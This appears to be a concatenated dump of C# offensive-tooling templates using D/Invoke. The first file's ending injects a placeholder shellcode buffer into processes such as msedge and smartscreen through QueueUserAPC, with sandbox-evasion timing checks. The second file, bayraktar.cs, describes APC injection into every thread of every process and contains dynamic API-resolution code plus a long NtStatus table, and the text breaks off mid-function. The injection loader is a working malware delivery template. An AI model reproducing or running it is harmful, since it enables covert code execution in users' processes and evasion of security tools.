typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx; 701 | IntPtr resultPtr = vae(hProcess, IntPtr.Zero, (uint)buf.Length, MEM_COMMIT, PAGE_READWRITE); 702 | 703 | IntPtr bytesWritten = IntPtr.Zero; 704 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); 705 | DELEGATES.WriteProcessMemory wpm = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory; 706 | bool resultBool = wpm(hProcess, resultPtr, buf, buf.Length, out bytesWritten); 707 | 708 | foreach (ProcessThread thread in process.Threads) 709 | { 710 | Console.WriteLine("Found thread {0}", (uint)thread.Id); 711 | 712 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "OpenThread"); 713 | DELEGATES.OpenThread ot = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenThread)) as DELEGATES.OpenThread; 714 | IntPtr threadHandle = ot(ThreadAccess.THREAD_HIJACK, false, (uint)thread.Id); 715 | 716 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); 717 | DELEGATES.VirtualProtectEx vpe = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx; 718 | vpe(hProcess, resultPtr, (UIntPtr)buf.Length, PAGE_EXECUTE_READ, out _); 719 | 720 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "QueueUserAPC"); 721 | DELEGATES.QueueUserAPC qua = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC; 722 | qua(resultPtr, threadHandle, IntPtr.Zero); 723 | } 724 | } 725 | 726 | static Process[] boxboxbox(string host) 727 | { 728 | 729 | var processes = Process.GetProcessesByName(host); 730 | 731 | return processes; 732 | } 733 | 734 | static bool buy_in() 735 | { 736 | DateTime t1 = DateTime.Now; 737 | 738 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "Sleep"); 739 | DELEGATES.Sleep sl = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.Sleep)) as DELEGATES.Sleep; 740 | sl(2000); 741 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 742 | if (t2 < 1.5) 743 | { 744 | return false; 745 | } 746 | 747 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "GetCurrentProcess"); 748 | DELEGATES.GetCurrentProcess gcp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.GetCurrentProcess)) as DELEGATES.GetCurrentProcess; 749 | 750 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocExNuma"); 751 | DELEGATES.VirtualAllocExNuma vaen = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocExNuma)) as DELEGATES.VirtualAllocExNuma; 752 | 753 | IntPtr mem = vaen(gcp(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 754 | if (mem == null) 755 | { 756 | return false; 757 | } 758 | 759 | return true; 760 | } 761 | 762 | static void Main(string[] args) 763 | { 764 | string[] hosts = {"dllhost", "msedge", "YourPhone", "smartscreen"}; 765 | 766 | 767 | !!!_SHELLCODE_MARK!!! 768 | 769 | 770 | bool result = buy_in(); 771 | if (!result) 772 | { 773 | Console.WriteLine("Architecture is not compatible"); 774 | System.Environment.Exit(1); 775 | } 776 | 777 | cleaning(); 778 | 779 | List res = new List(); 780 | foreach (string host in hosts) 781 | { 782 | var processes = boxboxbox(host); 783 | if (processes.Length != 0) 784 | { 785 | foreach (Process process in processes){ 786 | res.Add(process); 787 | } 788 | } 789 | } 790 | 791 | if (res.Count == 0) 792 | { 793 | Console.WriteLine("Found no process"); 794 | System.Environment.Exit(1); 795 | } 796 | else 797 | { 798 | 799 | !!!DECODE_ROUTINE!!! 800 | 801 | foreach (var process in res) 802 | { 803 | Console.WriteLine("Found process {0}", process.Id); 804 | enhance(buf, process); 805 | } 806 | } 807 | } 808 | } 809 | } -------------------------------------------------------------------------------- /Dinvoke/bayraktar.cs: -------------------------------------------------------------------------------- 1 | // This templates uses QueueUserAPC injection in all threads, of all process. Not stealthy at all, but fun. 2 | 3 | // This template requires D/Invoke installed from Nugget 4 | 5 | // Thanks to https://github.com/FatCyclone/D-Pwn 6 | 7 | using System; 8 | using System.Runtime.InteropServices; 9 | using System.Diagnostics; 10 | using System.Text; 11 | using System.IO; 12 | 13 | namespace bayraktar 14 | { 15 | internal class Program 16 | { 17 | [Flags] 18 | public enum ThreadAccess : int 19 | { 20 | TERMINATE = (0x0001), 21 | SUSPEND_RESUME = (0x0002), 22 | GET_CONTEXT = (0x0008), 23 | SET_CONTEXT = (0x0010), 24 | SET_INFORMATION = (0x0020), 25 | QUERY_INFORMATION = (0x0040), 26 | SET_THREAD_TOKEN = (0x0080), 27 | IMPERSONATE = (0x0100), 28 | DIRECT_IMPERSONATION = (0x0200), 29 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 30 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 31 | } 32 | 33 | private static UInt32 MEM_COMMIT = 0x1000; 34 | private static UInt32 PAGE_READWRITE = 0x04; 35 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 36 | 37 | public class STRUCTS 38 | { 39 | // Structures and Enums 40 | 41 | [StructLayout(LayoutKind.Sequential)] 42 | public struct UNICODE_STRING 43 | { 44 | public UInt16 Length; 45 | public UInt16 MaximumLength; 46 | public IntPtr Buffer; 47 | } 48 | public enum NtStatus : uint 49 | { 50 | // Success 51 | Success = 0x00000000, 52 | Wait0 = 0x00000000, 53 | Wait1 = 0x00000001, 54 | Wait2 = 0x00000002, 55 | Wait3 = 0x00000003, 56 | Wait63 = 0x0000003f, 57 | Abandoned = 0x00000080, 58 | AbandonedWait0 = 0x00000080, 59 | AbandonedWait1 = 0x00000081, 60 | AbandonedWait2 = 0x00000082, 61 | AbandonedWait3 = 0x00000083, 62 | AbandonedWait63 = 0x000000bf, 63 | UserApc = 0x000000c0, 64 | KernelApc = 0x00000100, 65 | Alerted = 0x00000101, 66 | Timeout = 0x00000102, 67 | Pending = 0x00000103, 68 | Reparse = 0x00000104, 69 | MoreEntries = 0x00000105, 70 | NotAllAssigned = 0x00000106, 71 | SomeNotMapped = 0x00000107, 72 | OpLockBreakInProgress = 0x00000108, 73 | VolumeMounted = 0x00000109, 74 | RxActCommitted = 0x0000010a, 75 | NotifyCleanup = 0x0000010b, 76 | NotifyEnumDir = 0x0000010c, 77 | NoQuotasForAccount = 0x0000010d, 78 | PrimaryTransportConnectFailed = 0x0000010e, 79 | PageFaultTransition = 0x00000110, 80 | PageFaultDemandZero = 0x00000111, 81 | PageFaultCopyOnWrite = 0x00000112, 82 | PageFaultGuardPage = 0x00000113, 83 | PageFaultPagingFile = 0x00000114, 84 | CrashDump = 0x00000116, 85 | ReparseObject = 0x00000118, 86 | NothingToTerminate = 0x00000122, 87 | ProcessNotInJob = 0x00000123, 88 | ProcessInJob = 0x00000124, 89 | ProcessCloned = 0x00000129, 90 | FileLockedWithOnlyReaders = 0x0000012a, 91 | FileLockedWithWriters = 0x0000012b, 92 | 93 | // Informational 94 | Informational = 0x40000000, 95 | ObjectNameExists = 0x40000000, 96 | ThreadWasSuspended = 0x40000001, 97 | WorkingSetLimitRange = 0x40000002, 98 | ImageNotAtBase = 0x40000003, 99 | RegistryRecovered = 0x40000009, 100 | 101 | // Warning 102 | Warning = 0x80000000, 103 | GuardPageViolation = 0x80000001, 104 | DatatypeMisalignment = 0x80000002, 105 | Breakpoint = 0x80000003, 106 | SingleStep = 0x80000004, 107 | BufferOverflow = 0x80000005, 108 | NoMoreFiles = 0x80000006, 109 | HandlesClosed = 0x8000000a, 110 | PartialCopy = 0x8000000d, 111 | DeviceBusy = 0x80000011, 112 | InvalidEaName = 0x80000013, 113 | EaListInconsistent = 0x80000014, 114 | NoMoreEntries = 0x8000001a, 115 | LongJump = 0x80000026, 116 | DllMightBeInsecure = 0x8000002b, 117 | 118 | // Error 119 | Error = 0xc0000000, 120 | Unsuccessful = 0xc0000001, 121 | NotImplemented = 0xc0000002, 122 | InvalidInfoClass = 0xc0000003, 123 | InfoLengthMismatch = 0xc0000004, 124 | AccessViolation = 0xc0000005, 125 | InPageError = 0xc0000006, 126 | PagefileQuota = 0xc0000007, 127 | InvalidHandle = 0xc0000008, 128 | BadInitialStack = 0xc0000009, 129 | BadInitialPc = 0xc000000a, 130 | InvalidCid = 0xc000000b, 131 | TimerNotCanceled = 0xc000000c, 132 | InvalidParameter = 0xc000000d, 133 | NoSuchDevice = 0xc000000e, 134 | NoSuchFile = 0xc000000f, 135 | InvalidDeviceRequest = 0xc0000010, 136 | EndOfFile = 0xc0000011, 137 | WrongVolume = 0xc0000012, 138 | NoMediaInDevice = 0xc0000013, 139 | NoMemory = 0xc0000017, 140 | NotMappedView = 0xc0000019, 141 | UnableToFreeVm = 0xc000001a, 142 | UnableToDeleteSection = 0xc000001b, 143 | IllegalInstruction = 0xc000001d, 144 | AlreadyCommitted = 0xc0000021, 145 | AccessDenied = 0xc0000022, 146 | BufferTooSmall = 0xc0000023, 147 | ObjectTypeMismatch = 0xc0000024, 148 | NonContinuableException = 0xc0000025, 149 | BadStack = 0xc0000028, 150 | NotLocked = 0xc000002a, 151 | NotCommitted = 0xc000002d, 152 | InvalidParameterMix = 0xc0000030, 153 | ObjectNameInvalid = 0xc0000033, 154 | ObjectNameNotFound = 0xc0000034, 155 | ObjectNameCollision = 0xc0000035, 156 | ObjectPathInvalid = 0xc0000039, 157 | ObjectPathNotFound = 0xc000003a, 158 | ObjectPathSyntaxBad = 0xc000003b, 159 | DataOverrun = 0xc000003c, 160 | DataLate = 0xc000003d, 161 | DataError = 0xc000003e, 162 | CrcError = 0xc000003f, 163 | SectionTooBig = 0xc0000040, 164 | PortConnectionRefused = 0xc0000041, 165 | InvalidPortHandle = 0xc0000042, 166 | SharingViolation = 0xc0000043, 167 | QuotaExceeded = 0xc0000044, 168 | InvalidPageProtection = 0xc0000045, 169 | MutantNotOwned = 0xc0000046, 170 | SemaphoreLimitExceeded = 0xc0000047, 171 | PortAlreadySet = 0xc0000048, 172 | SectionNotImage = 0xc0000049, 173 | SuspendCountExceeded = 0xc000004a, 174 | ThreadIsTerminating = 0xc000004b, 175 | BadWorkingSetLimit = 0xc000004c, 176 | IncompatibleFileMap = 0xc000004d, 177 | SectionProtection = 0xc000004e, 178 | EasNotSupported = 0xc000004f, 179 | EaTooLarge = 0xc0000050, 180 | NonExistentEaEntry = 0xc0000051, 181 | NoEasOnFile = 0xc0000052, 182 | EaCorruptError = 0xc0000053, 183 | FileLockConflict = 0xc0000054, 184 | LockNotGranted = 0xc0000055, 185 | DeletePending = 0xc0000056, 186 | CtlFileNotSupported = 0xc0000057, 187 | UnknownRevision = 0xc0000058, 188 | RevisionMismatch = 0xc0000059, 189 | InvalidOwner = 0xc000005a, 190 | InvalidPrimaryGroup = 0xc000005b, 191 | NoImpersonationToken = 0xc000005c, 192 | CantDisableMandatory = 0xc000005d, 193 | NoLogonServers = 0xc000005e, 194 | NoSuchLogonSession = 0xc000005f, 195 | NoSuchPrivilege = 0xc0000060, 196 | PrivilegeNotHeld = 0xc0000061, 197 | InvalidAccountName = 0xc0000062, 198 | UserExists = 0xc0000063, 199 | NoSuchUser = 0xc0000064, 200 | GroupExists = 0xc0000065, 201 | NoSuchGroup = 0xc0000066, 202 | MemberInGroup = 0xc0000067, 203 | MemberNotInGroup = 0xc0000068, 204 | LastAdmin = 0xc0000069, 205 | WrongPassword = 0xc000006a, 206 | IllFormedPassword = 0xc000006b, 207 | PasswordRestriction = 0xc000006c, 208 | LogonFailure = 0xc000006d, 209 | AccountRestriction = 0xc000006e, 210 | InvalidLogonHours = 0xc000006f, 211 | InvalidWorkstation = 0xc0000070, 212 | PasswordExpired = 0xc0000071, 213 | AccountDisabled = 0xc0000072, 214 | NoneMapped = 0xc0000073, 215 | TooManyLuidsRequested = 0xc0000074, 216 | LuidsExhausted = 0xc0000075, 217 | InvalidSubAuthority = 0xc0000076, 218 | InvalidAcl = 0xc0000077, 219 | InvalidSid = 0xc0000078, 220 | InvalidSecurityDescr = 0xc0000079, 221 | ProcedureNotFound = 0xc000007a, 222 | InvalidImageFormat = 0xc000007b, 223 | NoToken = 0xc000007c, 224 | BadInheritanceAcl = 0xc000007d, 225 | RangeNotLocked = 0xc000007e, 226 | DiskFull = 0xc000007f, 227 | ServerDisabled = 0xc0000080, 228 | ServerNotDisabled = 0xc0000081, 229 | TooManyGuidsRequested = 0xc0000082, 230 | GuidsExhausted = 0xc0000083, 231 | InvalidIdAuthority = 0xc0000084, 232 | AgentsExhausted = 0xc0000085, 233 | InvalidVolumeLabel = 0xc0000086, 234 | SectionNotExtended = 0xc0000087, 235 | NotMappedData = 0xc0000088, 236 | ResourceDataNotFound = 0xc0000089, 237 | ResourceTypeNotFound = 0xc000008a, 238 | ResourceNameNotFound = 0xc000008b, 239 | ArrayBoundsExceeded = 0xc000008c, 240 | FloatDenormalOperand = 0xc000008d, 241 | FloatDivideByZero = 0xc000008e, 242 | FloatInexactResult = 0xc000008f, 243 | FloatInvalidOperation = 0xc0000090, 244 | FloatOverflow = 0xc0000091, 245 | FloatStackCheck = 0xc0000092, 246 | FloatUnderflow = 0xc0000093, 247 | IntegerDivideByZero = 0xc0000094, 248 | IntegerOverflow = 0xc0000095, 249 | PrivilegedInstruction = 0xc0000096, 250 | TooManyPagingFiles = 0xc0000097, 251 | FileInvalid = 0xc0000098, 252 | InstanceNotAvailable = 0xc00000ab, 253 | PipeNotAvailable = 0xc00000ac, 254 | InvalidPipeState = 0xc00000ad, 255 | PipeBusy = 0xc00000ae, 256 | IllegalFunction = 0xc00000af, 257 | PipeDisconnected = 0xc00000b0, 258 | PipeClosing = 0xc00000b1, 259 | PipeConnected = 0xc00000b2, 260 | PipeListening = 0xc00000b3, 261 | InvalidReadMode = 0xc00000b4, 262 | IoTimeout = 0xc00000b5, 263 | FileForcedClosed = 0xc00000b6, 264 | ProfilingNotStarted = 0xc00000b7, 265 | ProfilingNotStopped = 0xc00000b8, 266 | NotSameDevice = 0xc00000d4, 267 | FileRenamed = 0xc00000d5, 268 | CantWait = 0xc00000d8, 269 | PipeEmpty = 0xc00000d9, 270 | CantTerminateSelf = 0xc00000db, 271 | InternalError = 0xc00000e5, 272 | InvalidParameter1 = 0xc00000ef, 273 | InvalidParameter2 = 0xc00000f0, 274 | InvalidParameter3 = 0xc00000f1, 275 | InvalidParameter4 = 0xc00000f2, 276 | InvalidParameter5 = 0xc00000f3, 277 | InvalidParameter6 = 0xc00000f4, 278 | InvalidParameter7 = 0xc00000f5, 279 | InvalidParameter8 = 0xc00000f6, 280 | InvalidParameter9 = 0xc00000f7, 281 | InvalidParameter10 = 0xc00000f8, 282 | InvalidParameter11 = 0xc00000f9, 283 | InvalidParameter12 = 0xc00000fa, 284 | MappedFileSizeZero = 0xc000011e, 285 | TooManyOpenedFiles = 0xc000011f, 286 | Cancelled = 0xc0000120, 287 | CannotDelete = 0xc0000121, 288 | InvalidComputerName = 0xc0000122, 289 | FileDeleted = 0xc0000123, 290 | SpecialAccount = 0xc0000124, 291 | SpecialGroup = 0xc0000125, 292 | SpecialUser = 0xc0000126, 293 | MembersPrimaryGroup = 0xc0000127, 294 | FileClosed = 0xc0000128, 295 | TooManyThreads = 0xc0000129, 296 | ThreadNotInProcess = 0xc000012a, 297 | TokenAlreadyInUse = 0xc000012b, 298 | PagefileQuotaExceeded = 0xc000012c, 299 | CommitmentLimit = 0xc000012d, 300 | InvalidImageLeFormat = 0xc000012e, 301 | InvalidImageNotMz = 0xc000012f, 302 | InvalidImageProtect = 0xc0000130, 303 | InvalidImageWin16 = 0xc0000131, 304 | LogonServer = 0xc0000132, 305 | DifferenceAtDc = 0xc0000133, 306 | SynchronizationRequired = 0xc0000134, 307 | DllNotFound = 0xc0000135, 308 | IoPrivilegeFailed = 0xc0000137, 309 | OrdinalNotFound = 0xc0000138, 310 | EntryPointNotFound = 0xc0000139, 311 | ControlCExit = 0xc000013a, 312 | PortNotSet = 0xc0000353, 313 | DebuggerInactive = 0xc0000354, 314 | CallbackBypass = 0xc0000503, 315 | PortClosed = 0xc0000700, 316 | MessageLost = 0xc0000701, 317 | InvalidMessage = 0xc0000702, 318 | RequestCanceled = 0xc0000703, 319 | RecursiveDispatch = 0xc0000704, 320 | LpcReceiveBufferExpected = 0xc0000705, 321 | LpcInvalidConnectionUsage = 0xc0000706, 322 | LpcRequestsNotAllowed = 0xc0000707, 323 | ResourceInUse = 0xc0000708, 324 | ProcessIsProtected = 0xc0000712, 325 | VolumeDirty = 0xc0000806, 326 | FileCheckedOut = 0xc0000901, 327 | CheckOutRequired = 0xc0000902, 328 | BadFileType = 0xc0000903, 329 | FileTooLarge = 0xc0000904, 330 | FormsAuthRequired = 0xc0000905, 331 | VirusInfected = 0xc0000906, 332 | VirusDeleted = 0xc0000907, 333 | TransactionalConflict = 0xc0190001, 334 | InvalidTransaction = 0xc0190002, 335 | TransactionNotActive = 0xc0190003, 336 | TmInitializationFailed = 0xc0190004, 337 | RmNotActive = 0xc0190005, 338 | RmMetadataCorrupt = 0xc0190006, 339 | TransactionNotJoined = 0xc0190007, 340 | DirectoryNotRm = 0xc0190008, 341 | CouldNotResizeLog = 0xc0190009, 342 | TransactionsUnsupportedRemote = 0xc019000a, 343 | LogResizeInvalidSize = 0xc019000b, 344 | RemoteFileVersionMismatch = 0xc019000c, 345 | CrmProtocolAlreadyExists = 0xc019000f, 346 | TransactionPropagationFailed = 0xc0190010, 347 | CrmProtocolNotFound = 0xc0190011, 348 | TransactionSuperiorExists = 0xc0190012, 349 | TransactionRequestNotValid = 0xc0190013, 350 | TransactionNotRequested = 0xc0190014, 351 | TransactionAlreadyAborted = 0xc0190015, 352 | TransactionAlreadyCommitted = 0xc0190016, 353 | TransactionInvalidMarshallBuffer = 0xc0190017, 354 | CurrentTransactionNotValid = 0xc0190018, 355 | LogGrowthFailed = 0xc0190019, 356 | ObjectNoLongerExists = 0xc0190021, 357 | StreamMiniversionNotFound = 0xc0190022, 358 | StreamMiniversionNotValid = 0xc0190023, 359 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, 360 | CantOpenMiniversionWithModifyIntent = 0xc0190025, 361 | CantCreateMoreStreamMiniversions = 0xc0190026, 362 | HandleNoLongerValid = 0xc0190028, 363 | NoTxfMetadata = 0xc0190029, 364 | LogCorruptionDetected = 0xc0190030, 365 | CantRecoverWithHandleOpen = 0xc0190031, 366 | RmDisconnected = 0xc0190032, 367 | EnlistmentNotSuperior = 0xc0190033, 368 | RecoveryNotNeeded = 0xc0190034, 369 | RmAlreadyStarted = 0xc0190035, 370 | FileIdentityNotPersistent = 0xc0190036, 371 | CantBreakTransactionalDependency = 0xc0190037, 372 | CantCrossRmBoundary = 0xc0190038, 373 | TxfDirNotEmpty = 0xc0190039, 374 | IndoubtTransactionsExist = 0xc019003a, 375 | TmVolatile = 0xc019003b, 376 | RollbackTimerExpired = 0xc019003c, 377 | TxfAttributeCorrupt = 0xc019003d, 378 | EfsNotAllowedInTransaction = 0xc019003e, 379 | TransactionalOpenNotAllowed = 0xc019003f, 380 | TransactedMappingUnsupportedRemote = 0xc0190040, 381 | TxfMetadataAlreadyPresent = 0xc0190041, 382 | TransactionScopeCallbacksNotSet = 0xc0190042, 383 | TransactionRequiredPromotion = 0xc0190043, 384 | CannotExecuteFileInTransaction = 0xc0190044, 385 | TransactionsNotFrozen = 0xc0190045, 386 | 387 | MaximumNtStatus = 0xffffffff 388 | } 389 | 390 | [StructLayout(LayoutKind.Sequential, Size = 40)] 391 | public struct PROCESS_MEMORY_COUNTERS 392 | { 393 | public uint cb; 394 | public uint PageFaultCount; 395 | public uint PeakWorkingSetSize; 396 | public uint WorkingSetSize; 397 | public uint QuotaPeakPagedPoolUsage; 398 | public uint QuotaPagedPoolUsage; 399 | public uint QuotaPeakNonPagedPoolUsage; 400 | public uint QuotaNonPagedPoolUsage; 401 | public uint PagefileUsage; 402 | public uint PeakPagefileUsage; 403 | } 404 | 405 | public const UInt32 INFINITE = 0xFFFFFFFF; 406 | 407 | } 408 | 409 | public class DELEGATES 410 | { 411 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 412 | public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); 413 | 414 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 415 | public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); 416 | 417 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 418 | public delegate void Sleep(uint dwMilliseconds); 419 | 420 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 421 | public delegate IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 422 | 423 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 424 | public delegate IntPtr GetCurrentProcess(); 425 | 426 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 427 | public delegate IntPtr GetProcAddress(IntPtr hModule, string procName); 428 | 429 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 430 | public delegate IntPtr LoadLibrary(string name); 431 | 432 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 433 | public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 434 | 435 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 436 | public delegate IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId); 437 | 438 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 439 | public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 440 | 441 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 442 | public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 443 | 444 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 445 | public delegate IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 446 | 447 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 448 | public delegate bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 449 | 450 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 451 | public delegate Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 452 | 453 | } 454 | 455 | public class Invoke 456 | { 457 | // Dinvoke core 458 | public static STRUCTS.NtStatus LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) 459 | { 460 | // Craft an array for the arguments 461 | object[] funcargs = 462 | { 463 | PathToFile, dwFlags, ModuleFileName, ModuleHandle 464 | }; 465 | 466 | STRUCTS.NtStatus retValue = (STRUCTS.NtStatus)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); 467 | 468 | // Update the modified variables 469 | ModuleHandle = (IntPtr)funcargs[3]; 470 | 471 | return retValue; 472 | } 473 | /// 474 | /// Helper for getting the base address of a module loaded by the current process. This base 475 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for 476 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. 477 | /// 478 | /// Ruben Boonen (@FuzzySec) 479 | /// The name of the DLL (e.g. "ntdll.dll"). 480 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 481 | public static IntPtr GetLoadedModuleAddress(string DLLName) 482 | { 483 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 484 | foreach (ProcessModule Mod in ProcModules) 485 | { 486 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) 487 | { 488 | return Mod.BaseAddress; 489 | } 490 | } 491 | return IntPtr.Zero; 492 | } 493 | 494 | public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) 495 | { 496 | // Craft an array for the arguments 497 | object[] funcargs = 498 | { 499 | DestinationString, SourceString 500 | }; 501 | 502 | DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); 503 | 504 | // Update the modified variables 505 | DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0]; 506 | } 507 | 508 | /// 509 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk. 510 | /// 511 | /// Ruben Boonen (@FuzzySec) 512 | /// The path to the DLL on disk. Uses the LoadLibrary convention. 513 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. 514 | public static IntPtr LoadModuleFromDisk(string DLLPath) 515 | { 516 | STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING(); 517 | RtlInitUnicodeString(ref uModuleName, DLLPath); 518 | 519 | IntPtr hModule = IntPtr.Zero; 520 | STRUCTS.NtStatus CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); 521 | if (CallResult != STRUCTS.NtStatus.Success || hModule == IntPtr.Zero) 522 | { 523 | return IntPtr.Zero; 524 | } 525 | 526 | return hModule; 527 | } 528 | 529 | /// 530 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. 531 | /// 532 | /// The Wover (@TheRealWover) 533 | /// Name of the DLL. 534 | /// Name of the function. 535 | /// Prototype for the function, represented as a Delegate object. 536 | /// Parameters to pass to the function. Can be modified if function uses call by reference. 537 | /// Object returned by the function. Must be unmarshalled by the caller. 538 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 539 | { 540 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 541 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 542 | } 543 | 544 | /// 545 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. 546 | /// 547 | /// The Wover (@TheRealWover) 548 | /// A pointer to the unmanaged function. 549 | /// Prototype for the function, represented as a Delegate object. 550 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. 551 | /// Object returned by the function. Must be unmarshalled by the caller. 552 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 553 | { 554 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 555 | return funcDelegate.DynamicInvoke(Parameters); 556 | } 557 | 558 | /// 559 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 560 | /// 561 | /// Ruben Boonen (@FuzzySec) 562 | /// A pointer to the base address where the module is loaded in the current process. 563 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 564 | /// IntPtr for the desired function. 565 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 566 | { 567 | IntPtr FunctionPtr = IntPtr.Zero; 568 | try 569 | { 570 | // Traverse the PE header in memory 571 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 572 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 573 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 574 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 575 | Int64 pExport = 0; 576 | if (Magic == 0x010b) 577 | { 578 | pExport = OptHeader + 0x60; 579 | } 580 | else 581 | { 582 | pExport = OptHeader + 0x70; 583 | } 584 | 585 | // Read -> IMAGE_EXPORT_DIRECTORY 586 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 587 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 588 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 589 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 590 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 591 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 592 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 593 | 594 | // Loop the array of export name RVA 595 | for (int i = 0; i < NumberOfNames; i++) 596 | { 597 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 598 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 599 | { 600 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 